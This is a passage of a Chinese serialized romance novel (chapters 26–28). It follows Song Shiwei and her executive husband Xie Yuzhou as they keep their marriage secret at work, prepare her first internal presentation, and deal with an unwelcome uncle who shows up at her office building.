谢屿舟才发现手机里宋时微给他的信息,【我先回去了,你忙工作吧。】 附上了车票信息,是他太慌乱,没有查看手机。 “宋时微。”隔着电话线,他唤了她的名字。 “啊?”宋时微不明所以,手持身份证,脚步不停跟着队伍前进,不明所以。 谢屿舟言简意赅,“等我。” 随即挂断电话。 五分钟后,检票口上方的屏幕显示宋时微乘坐的那一班高铁,最右边的信息变成红色的【停止检票】。 检! 票信息不断变化,一辆又一辆车开始检票又停止检票,一波又一波乘客离开候车大厅。 除了宋时微。 她没有去检票,坐在候车室里等谢屿舟,不知道等他什么,心底深处告诉她,一定要等。 坐在椅子上的宋时微一刻没有停歇,眼睛始终在四周来回寻找,不放过东南西北任何一个方向。 终于,看到一个熟悉的挺括身影向她的方向飞奔,她本能站起来,拎着行李向他跑过去。 谢屿舟一把将她抱在怀里,手臂力道之重,勒的她喘不过气。 宋时微呼吸困难,她推推谢屿舟,“谢屿舟,你勒痛我了。” 男人慢慢松开一条裂缝。 宋时微挠了挠鬓角,“你让我等你什么?我落下什么东西了吗?” 公共场所来来往往不少人,她不习惯。 “我送你回去。”谢屿舟拿过她手里的行李,边走路边在购票软件上买票,“我明天再过来。” 宋时微拒绝道:“这样太麻烦了,我自己可以,来的时候就是这样。”???x 他要实地调研考察,要开会商议,行程不断,许多事情无法通过线上开会解决。 谢屿舟平淡道:“我回去有事,不单单是送你。”???x 宋时微:“好。” 一等座、二等座均已售罄,好在商务座难以销售完,谢屿舟买好两张车票,牵着宋时微的手去寻找对应的检票口。 来的时候是漫长的路程,回去好像很快。 谢屿舟安排好一切,陈叔提前来南站等待,一路上他交代孟新允后面的事。 果冻和布丁听见开门的声音,拔起小短腿跑到门口,扯着宋时微的裤腿,拉到房间。 谢屿舟:“我去书房开会。” 他非常忙碌,神情一如既往地冷,真的有事回来,的确不是为了送她。 好似高铁站的拥抱是她的一场梦。 “好。”宋时微压下酸涩的情绪,被两只猫一起拽进南次卧。 她推门而入,原本空旷的房间变了样。 果冻和布丁在屋子里撒泼打滚、爬上爬下,原来是想炫耀她们的新房间,相处久了,猫都通了灵性。 宋时微细细观察,房间的墙上包了马卡龙色的软包,避免磕磕碰碰,常规的猫爬架猫窝之外,还有小猫的秋千,旁边是大人的秋千。???x 她坐在秋千上晃悠,头倚在绳上,眼前浮现七年前的画面。 那时,她和谢屿舟从大狼狗嘴下救了果冻,爸爸不让她养猫,她只能拜托给谢屿舟。 两个人找了一处秘密基地,成为果冻的新家,搭建简易的房子,那时的她信誓旦旦说:“等我以后买了房,我要给果冻留一个房间,和它一起荡秋千。” 后来,没有了后来。 真如谢屿舟所言,说收养猫的人是她,更负责的人是他。 完成她心愿的也是他。 思绪转回当下,夕阳落山,恰如那时。 宋时微将剩下的睡裙塞到洗衣机里清洗,去厨房帮君姨做饭。! 君姨在炒底料,“晚上吃酸汤火锅,天太热胃口不好。” 宋时微:“屿舟他不吃酸。” 君姨:“先生可喜欢吃酸了,偶尔包水饺需要找最酸的醋。” 宋时微讪讪道:“可能我记错了人。” 她的手在洗小番茄,却心不在焉,七年能够改变的东西太多太多了。 一直以来,喜欢吃酸的是她,酸汤水饺、酸汤粉、酸菜鱼、酸嘢……偏爱青橘,甚至空口吃柠檬。 谢屿舟一口酸都不能吃,为数不多的几次吃饭,迁就彼此的口味。 谁曾想,现在的她已经不吃酸了。 而他,却吃起了最重的酸。 君姨看着台面的菜,“微微,你看看有没有其他想吃的菜,太瘦了。” 宋时微:“没有了,现在够吃了。” 书房中,孟新允正在汇报工作,“老板,明天的会议遵照您的指示,延迟到10点。” “另外,方盛的商总想约您吃晚饭,问您哪天方便。” “傅景深傅总问您什么时候回南城,他约您面谈。” 下午时刻,他一转眼,老板不在了,怎么敲门都没人应,要不是电话能打通,他以为老板被人绑架了。 结果,老板说他回南城了。 意料之中,正常男人不可能让老婆单独回去。 老板虽然嘴硬,对老板娘做的事可一点都不少。 谢屿舟颔首,稳重道:“出差结束你休个年假。” 孟新允大惊失色,“老板,我哪里做的不对吗?您怎么要炒我鱿鱼?” 谢屿舟抬眸睇他一眼,“想象力太丰富了,我看你适合做策划。” 孟新允明白老板的意思,让他休息一下,“谢谢老板。” 他不想换工作,下了班不找事的领导太少了。 “老板,明天的票买好了,我先下了。” 谢屿舟摆手,“去吧。” 男人不急着离开书房,身体向后靠了靠,手里摩挲小玩意,又放了下去,打消念头。 餐厅里只剩下宋时微一个人,君姨做完饭打扫完灶台便会回去。 第 26 章 房子[VIP] 第26章房子[vip] 包厢里响起挪动椅子的声音,给老板让位置。 临时加了两个人,程清安招呼工作人员添碗筷,又加了几个菜。 宋时微佯装没看见谢屿舟的信息,闷头吃饭,心里腹诽,按照他发的高铁车次,理应三个小时前即抵达南城。 结果,接近晚上9点,男人才出现在包厢里,被众人簇拥,眼帘微低,白色衬衫下包裹挺括的身材。 主位的男人弧线锋利的轮廓,气质清冷贵气,很是抢眼。 宋时微的左手摩挲手里的绒面首饰盒,方方正正的小盒子,比戒指盒大一些,不知道里面是什么。 刚刚心悬到半空,他怎么敢当着同事的面给她递东西。 原本晚餐进行到尾声,谢屿舟出现只是露个面,体现公司的重视,“辛苦”的官话听听就好。 有一件事他做的特别好,不用敬酒,天知道社恐的人最怕社交。 对老板还是敬而远之,打工最忌讳真情实感。 许多同事开车,逐个离开餐厅,乔言心问宋时微,“微微,你怎么回去?我哥来接我,要送你一下吗?” 宋时微礼貌拒绝,“不用了,谢谢,我老公来接我。”谢屿舟在这里,按照他强势的性格,必定要和他一起走。 她查看手机,果然有谢屿舟的信息,【原地等我。】 惜字如金,真的是不多说一个字。 乔言心和她挥手,“好,拜拜。” 原地?是餐厅上下客的位置,进进出出全是人。 显眼的汽车、招摇的他,简直把两个人的关系摆在明面上。 宋时微抬头看看四周,走到马路边,给谢屿舟发消息,【我在天桥下面。】 谢屿舟无奈叹息,摁摁眉心,“陈叔,去天桥。” 乔言心坐上哥哥的车,车子从前方路口掉头向西行驶,她趴在副驾驶吹风,恰巧看到马路对面的宋时微,上了一辆黑色的汽车。 “咦,那不是微微吗?” 乔言寻随意一瞥,“你同事家挺有钱啊。” 乔言心疑惑,“你怎么看出来的?” 乔言寻:“那辆车几百万。” 几百万!乔言心的话说得都不利索了,绕过哥哥的身体,想再看一眼几百万的汽车,“哥,你确定吗?你是近视眼能看清吗?不会弄混了吧。” 乔言寻:“我戴了眼镜的,傻妹妹,男人对车的认知,等于你们对包的认知。” 乔言心嘟囔,“我对包没认知。”她对哥哥的话半信半疑,哥哥最多见过奔驰宝马。 同一时刻,黑色迈巴赫向东行驶,与浓黑夜色相融。 首饰盒塞不进包里,宋时微攥在手心,始终未打开,绒面的包装,指腹接触微滑微痒,不知道里面是什么。 谢屿舟靠在椅背,微阖黑眸,似是在闭目养神。 宋时微安安静静坐在一旁,不打扰他休息,后排宽敞,中间隔着一人的距离。 陈叔没有放音乐,车内静得可怖,车胎! 压过马路的轰轰声灌入耳内。 汽车将向左转,信号灯转为红灯,陈叔踩下刹车,车子缓缓停下。 宋时微扭头偷看谢屿舟,借助窗外透进来的路灯光,看清男人眼底有淡淡的乌青。 忽而他睁开眼睛,她一下对上漆黑的瞳仁。 她的心脏骤然重重漏了一拍,好像做坏事被人抓到。 谢屿舟的目光向下移动落在她的手上,淡淡问:“不打开看看吗?” 宋时微的手指蜷缩,捏紧首饰盒,“回家再看。” 男人直起上半身,越过中间地带,握紧她的手,和她一同弹开首饰盒。 前后排的挡板再次被放下,谢屿舟抬手按开顶灯。 礼物的面貌出现在宋时微的眼前。 是一条项链,坠着蜻蜓的金色项链,翅膀上镶嵌点点宝石。 看着很熟悉的蜻蜓,翅膀微弯,不同于市面流水线的设计。 谢屿舟温热的指腹摩挲她的手链,在脉搏处打圈,时而捏紧,时而放开,宋时微垂眸望过去。 原来如此,和她手链上的蜻蜓很像。 看来出自同一位设计师、同一家品牌。 相隔七年,竟然还能买到同款项链,蜻蜓不是热门元素,显而易见是他有心寻找。 宋时微找了个借口,问:“在哪买的,我大学室友还想要链接。” 她想抽出手臂,奈何力量悬殊做不到。 谢屿舟从盒子里拿出项链,“朋友设计的,买不到。” 宋时微:“那蛮可惜的。” 男人松开了箍住她手腕的手,拢起她的长发,将项链戴在了她的脖子上。 温热的气息似有似无洒在她的脖颈。 宋时微的身体本能颤抖,摸着蜻蜓的纹路,“怎么是蜻蜓?” 饰品店一般心形、星星、蝴蝶等元素居多,鲜少采用蜻蜓。 谢屿舟掀起眼睫,问她另一个问题,“为什么一直带着?” 这个问题,重逢当天也问过。 “因为好看,谢总的眼光不错,首饰无罪。”宋时微弯起浅浅的弧度,心虚地错开了他的视线。 就像钱包和照片,很明显的答案,两个人都不愿先低头,不愿先开口。 男人没有接她的话,今天的回家路似乎格外漫长。 一路无言,汽车终于抵达臻悦府,逃离难捱的环境。 谢屿舟追上宋时微的脚步,“怎么不来接我?”他他特意选了下班到达的高铁,告诉她班次。 宋时微蹙起眉头,“你没让我去接你啊。” “而且,想接你的人多了去了,又不缺我一个。” 谢屿舟的脸色沉下去,意味深长说:“谢太太就你一个。” “哦,那麻烦谢总下次直接说,我揣测不了你的圣意。”宋时微插科打诨,她想去接他,只是怕被人看见。 说话间,两人到达顶楼,家里的小猫咪睡着了,阳台的风贯通南北,送来些许微凉。 夏天好像快过去了。 宋时微放下包,语气强势! 强调,“谢屿舟,下次在公司,不对,不论在不在公司,在同事面前你都不要再做一些会暴露我们关系的事,太容易被发现了。” 要不是孟新允挡一下,后果不堪设想。 “而且我们不是说好了吗?公司里装作不熟的上下属。” 谢屿舟的手掌按在吧台上,倒了一杯温水,总有一天,要被她气死。 喉结上下滚动,“不好。” 是啊,堂堂总经理,怎么甘于做背后的人,怎么甘于像偷情一般。 宋时微站到他旁边说:“你怎么能出尔反尔。” “那你又能拿我怎么样?” 谢屿舟哼笑一声。 这个答案只有一个,她不能拿他怎么样,他铁了心要公开的话,她只剩下离职一条路。 男人话锋一转,“你还有多久转正?” 宋时微瞪他,“不到一个月,谢总是想辞退我吗?那我抓紧时间找工作。” 谢屿舟被她气得心脏疼,“我在你心里这么不堪啊?” “不是,还不是你突然要公开,突然问我转正的事。”宋时微咕哝道。 谢屿舟又问:“想一直做饮料类的策划?” 宋时微摇了摇头,认真道:“不想,我知道,我现在资历浅,想法不成熟,要积累经验,多做几个项目,才能谈转行业的事,我有想做的行业。” 一席话戛然而止,她没有透露想做的是什么,谢屿舟偏头问:“不能告诉我?” “暂时不能,等我一段时间。” 她想够得高一点,站得高一点,努力赶上他的脚步,而不是一直仰望他。 幸而谢屿舟没有在这个问题上纠结,吧台处的暖色光安静作业。 宋时微看到他疲惫的神情,不忍问道:“你累不累?出差这么久。” 谢屿舟:“舍得关心我了?” “累死你算了。”宋时微转身就走。 “可惜了,没有如你的愿。” 翌日一早,谢屿舟在屋子里没有看到宋时微,问君姨,“太太呢?” 君姨:“说有突发的事先走了。” 想来是避免和他一同出现,防着他呢。 45层策划部,乔言心时不时偷看一眼宋时微,穿着打扮和她区别不大,项链手链是普通款式,哪里是有钱人。 几百万的车和房子不一样,身家得多少才舍得花钱买这么贵的车 纠结了一上午,在食堂吃午饭时乔言心终于忍不住,捂住嘴巴,小声问:“微微,你家很有钱吗?” 宋时微不明所以,“啊?” 乔言心:“我昨晚看到你的车了,我哥说很贵很贵。” 头脑风暴,斟酌再三,宋时微决定透露一点点,“不好意思,心心,车不是我家的,是我老公的,他家是挺有钱的,但和我关系不大,所以。” “我明白。”乔言心懂宋时微,她不是喜欢一个秀的人。 两个人一同进寰宇,被分配到不被重视的部门,而且乔言心性格单纯心地善良,她们早已不是同事更像朋友。 ! 终归是她骗了人,宋时微道歉,“对不起心心,我不是故意要瞒你的。” 乔言心:“没什么事,这是你的隐私嘛。” 她玩笑道:“不过你也太低调了,要是我恐怕会把鸽子蛋戴手上。” 宋时微:“太浮夸了。” 乔言心吃惊问:“你还真有啊?” 宋时微抿唇笑,“有,没有黄金实用。” 乔言心:“你怎么和我妈一样,我妈就喜欢买黄金,她说可以变现。” 宋时微赞同,“是这个道理啊,你还小,等你再大一点就能明白还是黄金香。” 乔言心:“你也就比我大了一点点,说话好老成。” “我还羡慕你呢。” 只有家庭幸福才会养成这种性格。 乔言心开心道:“终于不用憋着了,难受我一晚上了。” 两个人朝电梯间走,远远看见谢屿舟和孟新允正在等电梯。 宋时微紧急止住脚步,“心心,我忘记买个东西了,你先上去,我去买。” 谢屿舟现在是不定时炸弹,她要绕着他走,不乘坐同一班电梯,也不能同时出现在电梯间。 男人,善变,万一哪天不开心,直接公开,她连缓冲的时间都没有。 乔言心在身后追她,“我陪你去。” 孟新允看着老板的脸色阴沉下去,在一旁瑟瑟发抖。 老板娘和老板这是吵架了吗?那他今天得小心点,不能触到老板的霉头。 他还想明天休年假。 谢屿舟掏出手机,【又躲我?】 宋时微:【没有,谢总,你看错了。】 谢屿舟:【放心,没有你的点头,我不会公开。】 想光明正大、想公开,想告诉所有人他们已婚的事实,但前提是宋时微同意。 宋时微:【你的话现在没有可信度。】 信任需要花费时间建立,但崩塌只需要一秒钟。 尤其是他对她,毕竟有前科。 宋时微在便利店货架上随便买了一包卫生巾,谢屿舟又发了消息。 第 27 章 汇报[VIP] 第27章汇报[vip] 谢屿舟鬓角青筋凸起,努力克制心里翻涌的情绪。 宋时微的手掌扶上他的手臂,隔着一层薄薄的衬衫,攥紧布料。 她踮起脚衔住他的唇瓣,探出小巧的舌尖,临摹他的唇形,从外围到中心。 热情得不像她,主动得不像她。 宋时微满脑子都是他的信,被她藏起来的那封亲笔信。 跨越时空投递而来。 思及此,她的唇瓣向前压,撬开他的牙齿,舌尖向里探。 谢屿舟不疾不徐,由着她亲,忍不住给她回应,扣住她的脖颈,向自己怀里按。 男人渐渐忘了自己的初衷,化被动为主动,掐住宋时微的腰肢,抱在了玄关上,唇始终未分开。 姿势变成了她低头,他仰头,让她轻松点。 即使隔了七年,对彼此的记忆淡化,身体的本能一吻即发。 宋时微双脚离地,双腿钳住男人的腰,手掌胡乱中扯开他的领带。 她自己的睡衣同样变得凌乱。 玄关处旖旎氛围蒸腾,暧昧的喘息声和窸窸窣窣布料的摩擦声回响在墙壁之间。 谢屿舟微微喘息,“今天怎么这么乖?” 宋时微咬了一下他的嘴,“这样呢?” 谢屿舟又咬了回去,但他不舍得用力,只是做做样子,“正常了。” “谢总,你就是抖m。” 宋时微亲完了他,唇上泛起潋滟水光,说:“不好闻。” 谢屿舟低头闻闻衣袖,“我没喝酒。” 结了婚以后,万能的门禁、备孕借口,躲酒挡酒百用百灵。 “身上沾了酒味、烟味。”宋时微在空气里嗅了嗅,嫌弃地说:“还有香水味。” 香水味一出,谢屿舟知道她在无理取闹,“我去洗一下。” 男人抱着她走到沙发,给她穿上拖鞋,宋时微踏上鞋子,“你去吧,我在外面等你。” 她挽着他的胳膊一同走到浴室,趴在墙边,赖在门口不走。 谢屿舟眉头微拧,“你今天怎么了?” 不怪他多想,七年前就是这样,明明主动的是她,明明计划好了一切,却悄无声息消失。 有些病,时间不是良药。 有些当,时隔七年依旧会上。 宋时微佯装坦荡,“没怎么,你最近太忙了。” 口吻里夹杂委屈和埋怨,不似她平日的清冷,多了女生的撒娇。 “忙完这阵就好了。”谢屿舟将他的手机递给她,“婚礼方案出了,你来看一下,没有满意的再调。” “好。”宋时微攥紧手机打趣他,“我能直接看你手机啊。” 谢屿舟拍拍她的脑袋,“能,没什么不能见人的。” 隔着一扇玻璃门,宋时微在门外查看谢屿舟与婚礼策划师的聊天记录。 在她不知道的地方,他已沟通了多轮,筛掉许多冗杂的东西。 策划师做了几个版本的婚礼方案,围绕! 雪山展开,常规的亲朋好友,还有一份双人版。 谢屿舟对她足够了解,知道她不喜欢人多,不喜欢被人围观,好像过去的七年他们一直在一起。 从未分开。 退出微信前,宋时微瞥见谢屿舟的微信置顶,依旧置顶她人生中的第一个微信,那一个被她注销的微信。 她按耐住好奇心,没有点进聊天窗口。 他是抱着什么样的心情一直发信息给她,是恨多一点还是怨多一点。 宋时微摁灭手机屏幕,等谢屿舟出来。 谢屿舟出来被地上的人吓了一跳,“怎么蹲在这里?” “屋子里太黑了,有点吓人。” 男人朝前看,看到灯光通明的主卧,不知道黑在哪儿。 今天的她,属实奇怪。 宋时微踮脚给他擦头发,“婚礼我看了,没什么问题,就是我想办两个人的。” 谢屿舟没有意见,“听你的。” 宋时微像rua小狗脑袋似的,“擦干了,还是男人的头发简单方便。” 熄灭主卧的灯光,在黑暗的帮助下,宋时微主动向谢屿舟那边挪。 她伸出手臂环住谢屿舟,在他胸前闷闷出声,“谢屿舟,我会对你好的。” “嗯。”谢屿舟喉咙里溢出一个字,他不需要她对他好,只要她在身边。 七年真的很长,长到伤口愈合结出新的痂,长到看不出结痂下隐藏的伤痛。 长到他好了伤疤。 又是同床共枕无事发生的一天,心结,打了死扣的心结,需要宋时微慢慢来解。 突然,谢屿舟就工作的事问她,“你对口味怎么看?喝完的感觉怎么样?” 宋时微斟酌后回答,“研发部下了不少功夫,许多新品挺有亮点,有些需要放弃,部分水果不适合和茶搭配在一起做饮料,我们样本不够,每个人口味又不一样,个体的感觉不具备参考性,地域也有区别,他们也不容易,不是找了美食博主品尝打分吗?” 谢屿舟:“想听听老板娘的看法。” 宋时微:“我在这方面是新手,我能想到的你们肯定都想过。” 翌日,宋时微刚坐在工位上,程清安通知她,“微微,公司内部汇报交给你了,周四汇报。” 宋时微指指自己,“我可以吗?” 程清安:“这就要问你了。” 宋时微应下声,“好的,安姐。” 程清安鼓励她,“相信自己,虽然是无用的鸡汤,多练几遍。” 领导走后,乔言心小声八卦,“安姐让你汇报啊?” 宋时微点点头,“是的。” 乔言心:“你加油,祝你好运,微微你可以的。” 宋时微:“你不想汇报吗?” 职场里抢破头争功的事情屡见不鲜,几乎没有人会为你好。 乔言心疯狂摇头,“我不想,我只想做一个边缘人物,无欲无求,混日子。” 她的梦想是成为一只咸鱼,最好到30岁能退休的咸鱼。 “微微加油! ,微微加油。” 职场里难得的单纯的同事,上班都不会太难过,不用分心在同事交往上。 一整天,修改了40版的ppt被宋时微看出了花,以至于她坐进车里,满脑子都是ppt的内容。 “我们的营销方案如下,以‘节气’为核心展开。” 谢屿舟:“下班了。”公司有她这样的员工,真是幸运。 宋时微扭头问他,“安姐知道我们的关系吗?” 谢屿舟摩挲她的手指,“不知道,只有孟新允知道。” 宋时微原话透露,“她说让我汇报,我还没转正,这算表现的机会吧。” 很多人不愿意写报告,但是讲报告时积极性陡增,想在领导面前露脸、表现,争取升职加薪的机会。 谢屿舟正色道:“你要相信程清安看人眼光,即使她知道你和我结婚的消息,她也不会为了‘关系户’打破原则,不然就不会发配到饮料部了,有些人事关系比较复杂,短时间内不好拔出,你跟着她是好事。” 男人继续补充,“我是希望你多依靠我一点,但不会贸然安排。” 工作成长面对的阵痛必须自己承担,他铺的路未必适合她。 他相信她,会走出自己的路。 谢屿舟宽慰她,“作为策划,讲标同样很重要,她没把你当试用期员工看待。” 宋时微问:“汇报你在吗?” “在,还有其他董事和高层。” “这么多人啊。”宋时微的压力瞬间增加,肩膀上似乎压了一座山,毕业后的第一次讲标,当着公司高层的面,不不可能不紧张。 回到臻悦府,宋时微迅速扒完碗里的米饭,“我去书房练练。” 大学时她讲过课题小组的ppt,和现在的方案汇报不一样,公司每个高层都是人精,一眼看出漏洞、问题。 宋时微讲到三分之一处,谢屿舟出现在书房,坐在她的对面,示意她继续。 她硬着头皮汇报下去。 谢屿舟认真点评,逐条提出问题所在,“第一,不够自信,过于在意台下人的反应;第二,停顿太多,会给别人提问的机会,你要一气呵成,不能给别人问你问题的机会,答疑要留在汇报结束之后;第三,过于冗杂,什么都想说给别人听,反而失了重点,不够明确。” 果然,会讲ppt比会写ppt更重要,尺有所短,寸有所长,宋时微垂下脑袋,复盘她刚刚的问题。 谢屿舟看到她耷拉下去的脸色,清了清嗓子,缓和语气,走上前抱紧她,“总体还是不错的,没有单纯照着ppt念。” 宋时微仰头,露出一个苦涩的笑,“你找补的太生硬了。” 面对他会格外紧张,越想做好,越容易出错。 越想证明自己,好像会适得其反。 谢屿舟听宋时微汇报的过程中,听出来了几个问题,他带着她上手修改。 她坐在椅子上,他站在她身后指导。 哪里需要再细化完善,哪里简略,修改一番后,比之前好了许多。 按下保存键,! 宋时微开玩笑说:“我这是单独开小灶吗?谢总。” 谢屿舟垂眸看她,“是,谢太太准备怎么谢我?” 宋时微嘟嘴,“我这是为了公司,你要什么谢礼?我在为你打工。” 谢屿舟:“我上交财产,又落回到你的口袋。” “那你不怕我……”宋时微紧急止住要说的话,有些玩笑话不适用在她和谢屿舟之间。 她转回汇报的话题上,“我再练习一次。” 谢屿舟眸色微动,“嗯。” 他知道她要说出的话,卷款潜逃。 两个人不约而同偏开视线,放在ppt上。 宋时微第二遍汇报比第一遍流畅,没有磕磕绊绊,知道自己的重点要放在哪里。 谢屿舟客观评价,“这一遍比刚才好很多,你的下意识口头要注意,然后、嗯这种词要省略,多了影响观感。” “好。”宋时微:“可我还是很紧张。” 谢屿舟直言,“克服紧张的方法只有一个,多汇报,讲的多了就好了。” 宋时微:“大脑会空白。” 谢屿舟:“那就只能把方案吃透、钻研透,你上去了之后,只能依靠自己。” 旋即又说:“犯错是正常的,只要不要有原则错误,其实无关紧要,下面的人没你想得那么厉害,很多一知半解的人,把你最大的优势发挥出来,会让人自然而然忽略一些瑕疵。” 宋时微老老实实记笔记,自信备受打击,她之前不是这样,这次是急于在谢屿舟面前表现。 她想和他并肩而行,而不是他在前面拉着她。 以前上学时是同一起点,她和他擅长的科目不一样,每次分数咬得很紧。 毕业的岔路,渐渐分开了两个人。 宋时微低着脑袋一副挨训的模样。 谢屿舟拧眉,“我对你们没那么凶吧。” “不凶不凶。”宋时微抿唇笑,“你要不做个匿名调查?听听大家的意见。” 谢屿舟站起身,幽幽道:“那也没见你怕我。” 宋时微关闭ppt,拷贝到u盘和邮箱里,“我怕你干嘛,你是我老公,又不是外人。” 谢屿舟屈指弹她的额头,“又哄我。” 宋时微咕哝道:“实话实说也叫哄,那我也太冤枉了。” 她的这副样子并不多见,一般她有求于人的时候才会这样。 他引以为傲的自制力,在她面前总是为零。 第 28 章 隐瞒[VIP] 第28章隐瞒[vip] 寰宇大厦进出严格,无论高低楼层均需要刷卡,一楼大厅物业人员24小时轮流值班。 非本大楼上班人员均需要实名登记,与拜访企业或客户沟通后,方可放行。 物业的小姐姐礼貌回复,“宋先生,麻烦您稍等一下,我联系一下宋小姐。” 这时,宋时微的手机屏幕亮了,显示是本地的固定电话,她没有在意,无非是广告推销。 领导们还在讨论方案,她和程清安需要记录傅氏提的意见,好做新一轮的修改。 电话无人接听,物业的小姐姐和眼前身穿polo衫看着质朴的中年男人说:“宋先生,宋小姐在开会,短时间内没法结束,您看您是坐着等还是改天再来。” 中年男人:“我坐着等会。”他坐在沙发上翘着二郎腿,紧盯电梯间的方向。 会议室热火朝天讨论,激烈辩论了一个小时有余,大概定下来修改方向。 谢屿舟邀请傅景深及其员工吃午饭。 傅景深应声答应,转头喊后面的宋时微,“宋小姐,一起,今天最辛苦的人。” 出于礼貌,宋时微跑上前答话,茫然地看谢屿舟,急忙说:“我同事约我了,谢总、傅总你们吃。” “走吧。”谢屿舟提前截断她的话,“我的功臣。” 是‘我’,并不是‘我们’,这个暧昧的不合时宜的字眼。 幸而没旁人听见。 其他领导和相熟的朋友聊天寒暄,说些场面话,扯东扯西,有些人甚至今天第一次见面,熟悉得和多年至交似的。 在公司,由于两人身份的差别,宋时微无法拒绝谢屿舟的要求。 三个人并排朝外走,渐渐她放慢脚步,不和两位总经理一起。 宋时微手中的手机屏幕再次亮起,显示仍是固定号码,通话记录显示是同一个号码。 她滑动接听,“宋小姐,您好,我是寰宇大厦的物业,一楼前台有位叫宋振兴的先生找您,自称是您的叔叔。” 宋时微心里猛然向下坠,就像现在的电梯,急速下降,直直坠入一层。 她站在角落里,压低声音,毫不犹豫地冷声拒绝,“不好意思,我不认识。” “好的,宋小姐。” 物业小姐姐如实转述,“宋先生您好,宋小姐说她不认识您。” 宋振兴一听眉毛高高竖起,大吼道:“什么?她敢不认我,你放我上去,我直接去找她。” 临近午时,大厦一楼来来往往,看热闹的人频频投来好奇的眼神。 物业的小姐姐耐心解释,“抱歉,先生,依照规定我不能放您上去,麻烦遵守我们的要求。” 眼见这条道行不通,宋振兴采取硬闯模式,想要翻越闸机通道。 物业的小姐姐呼叫保安,保安见状立刻上去阻拦,“如果您闹事硬闯的话,那我们只能选择报警,另外破坏公物要赔偿,这套闸机系统需要上万元。” 听见价格,宋振兴放弃了硬闯的念头,他去过其他写! 字楼,没有一处的安保是如此严格的。 外卖和快递特殊登记,乘坐另一部电梯上去。 在她工作的写字楼想见到太难。 宋时微乘坐的电梯抵达负一层,写字楼与商场的地下停车场相连,避免了和宋振兴碰面。 她全程心不在焉,几个月没有遇见旧人,抱着侥幸的心理,以为南城这么大,起码不会这么快遇到,没想到宋振兴都知道了她上班的地点。 从小,她就特别讨厌爸爸的弟弟,这个叫宋振兴的叔叔,小时候天天说让妈妈给她生个弟弟,怂恿爸爸和妈妈离婚,而且一来就是借钱。 后来爸爸变了,一方面是本性问题,一方面与他脱不了干系。 逃避解决不了问题,宋振兴找她的目的她大概能猜得出,只是眼下她没想好怎么面对。 同时,她不想谢屿舟知道七年前的事情,不想他知道这些前亲戚的存在。 突然,有人握住她的胳膊,“小心。”宋时微看看脚下,原来即将撞上停车场与商场入口的石墩。 “谢谢谢总。”她迅速抽出手臂,防止被别人看出端倪。 谢屿舟什么时候走到她后面的,她全然不知。 傅景深将一切看在眼里,“谢总真的很体贴下属啊。” 逮到机会不阴阳怪气不是他的性格。 谢屿舟掀起黑眸,面无波澜,“不能眼睁睁看着别人撞上去吧。” 傅景深微笑点头,“谢总说的对。” 不和幼稚的人一般计较,谢屿舟低头打字,【你怎么了?生理期到了?】 宋时微:【没什么,可能开会的时候在空调下面坐久了头有点晕,过会儿就好了。】 谢屿舟:【要请假吗?】 宋时微:【我没那么娇贵,谢总,要一视同仁。】 谢屿舟:【我不拦着其他人请假。】 共同用餐的人分散成三三两两的队伍,傅景深走到宋时微旁边,关心道:“身体不舒服?” 脸色些许泛白,没有上午的自信昂扬。 宋时微礼貌回他,“没有,多谢傅总关心,刚才在低头玩手机没注意。” 傅景深提醒,“要上电梯了,扶梯玩手机同样危险。” “傅总说的对。” 宋时微将手机挂在手腕上,踏上电梯。 孟新允负责殿后,他暗暗在心里腹诽,真看不懂傅景深,争权的路上肯定不会想有负面舆论发生,为什么每次总是故意接近老板娘? 男人,复杂。 不要对别人的老婆那么关心。 下午要回到各自的岗位继续工作,午饭少了无聊的客套和没完没了的敬酒,以吃饭为主。 宋时微满脑子在想怎么应对宋振兴,随便对付两口菜,最怕和泼皮无赖打交道。 他都找来了,那就会会。 和领导吃饭宋时微有自知之明,不转动桌子,她想吃排骨,排骨被人转到另一边。 她眼睁睁看着排骨溜走,夹起一根青菜。 就在这时,桌子逆时针旋转,排骨又回! 到她的面前,停下了! 宋时微迅速夹了一块,不自觉扬起唇角,清润的眼眸对上男人的黑眸,他冲她笑了一下。 原来是谢屿舟用手指转动玻璃桌板,整顿午饭,她想吃什么,他好似都能看穿,每每停在她的面前。 当着所有人的面,做一些特殊的小动作,陡升偷情的快点。 被他特殊照顾,心里怎么可能不开心呢。 饭后,宋时微一杯接一杯喝茶,她估错了这些人,只是不喝酒罢了,好能聊天,从公司股票竟然能聊到国家大事上去,真的是家事国事天下事,事事关心。 她百无聊赖,没有和人聊天套关系,做一个不起眼的存在,开始数杯子上有几朵花,又去研究筷子的材质和碗碟的设计。 这时,傅景深绕到她的旁边坐下,出声询问:“你做伴娘吗?” 宋时微的身体向右挪一步,皱眉道:“啊?什么伴娘?” 傅景深:“顾景渊和林以棠婚礼的伴娘。” 宋时微:“我做不了,傅总是不是忘了,我已婚,结婚做不了伴娘。” 傅景深悠悠喝茶,“我以为林以棠不在意。” “还是算了,结婚是喜事,注意一点得好。”宋时微查看手机信息,林以棠没和她说婚礼的事,“婚礼时间决定了吗?” 傅景深:“没有,提前问问。” 两个人的对话陷入冷场,作为合作方,宋时微有专业的职业素养,就着婚礼的话题聊下去,“傅总要做伴郎吗?” 傅景深直接说:“不做。” 这下彻底没话说了,宋时微不喜欢和人尬聊,不是自来熟的人,干坐着浑身不自在,而她又不能找借口溜走,显得对合作方不尊重。 谢屿舟的眼神在宋时微身上掠过,“咖嚓”用力摁紧袖扣,几不可查地勾起嘴角,聊得挺开心。 男人抿完最后一口茶,沉稳道:“时间不早了,我下午还有一场会,先行一步。” 老板的话,聪明人自然能够听出深层的意思,委婉说散场的意思。 有人顺着谢屿舟的话说:“正好,谢总,我们也要回去忙了。” 孟新允早已准备送客,挨个发停车券,“您好,慢走。” 送走了傅景深一行人,她们也要回去公司了。 董事会一位年纪稍大的男人问谢屿舟,“屿舟,智能家居部筹备得如何?” 谢屿舟:“还在考察中,王叔,不能太急,心急吃不了热豆腐。” 他打了一个太极,没有明说具体的时间。 宋时微耳朵尖听到了他们的谈话,【智能家居部】,压住心里的躁动。 王弘治:“依照我说,饮料玩玩就行了,又不指望挣多少钱。” 四十岁中年男人特有的爹味,好为人师,爱教育人。 谢屿舟黑眸淡瞥,语气不疾不徐,“比亏损的强,王叔,您觉得呢。” 王弘治皮笑肉不笑说:“是这个理。”旁人听不出谢屿舟的画外音,他能听出来,这是在点他。 他负责的地产部因决策失误,一个稳赚不赔! 的项目最终亏损,一时成为集团的负面案例,发邮件通报批评。 这边,宋振兴在寰宇大厦一楼蹲守了一天,没看到宋时微的身影,难道那天看错了吗? 第二天,他一早就来,今天物业换了一个值班的人,不出意外,他再次被拦住。 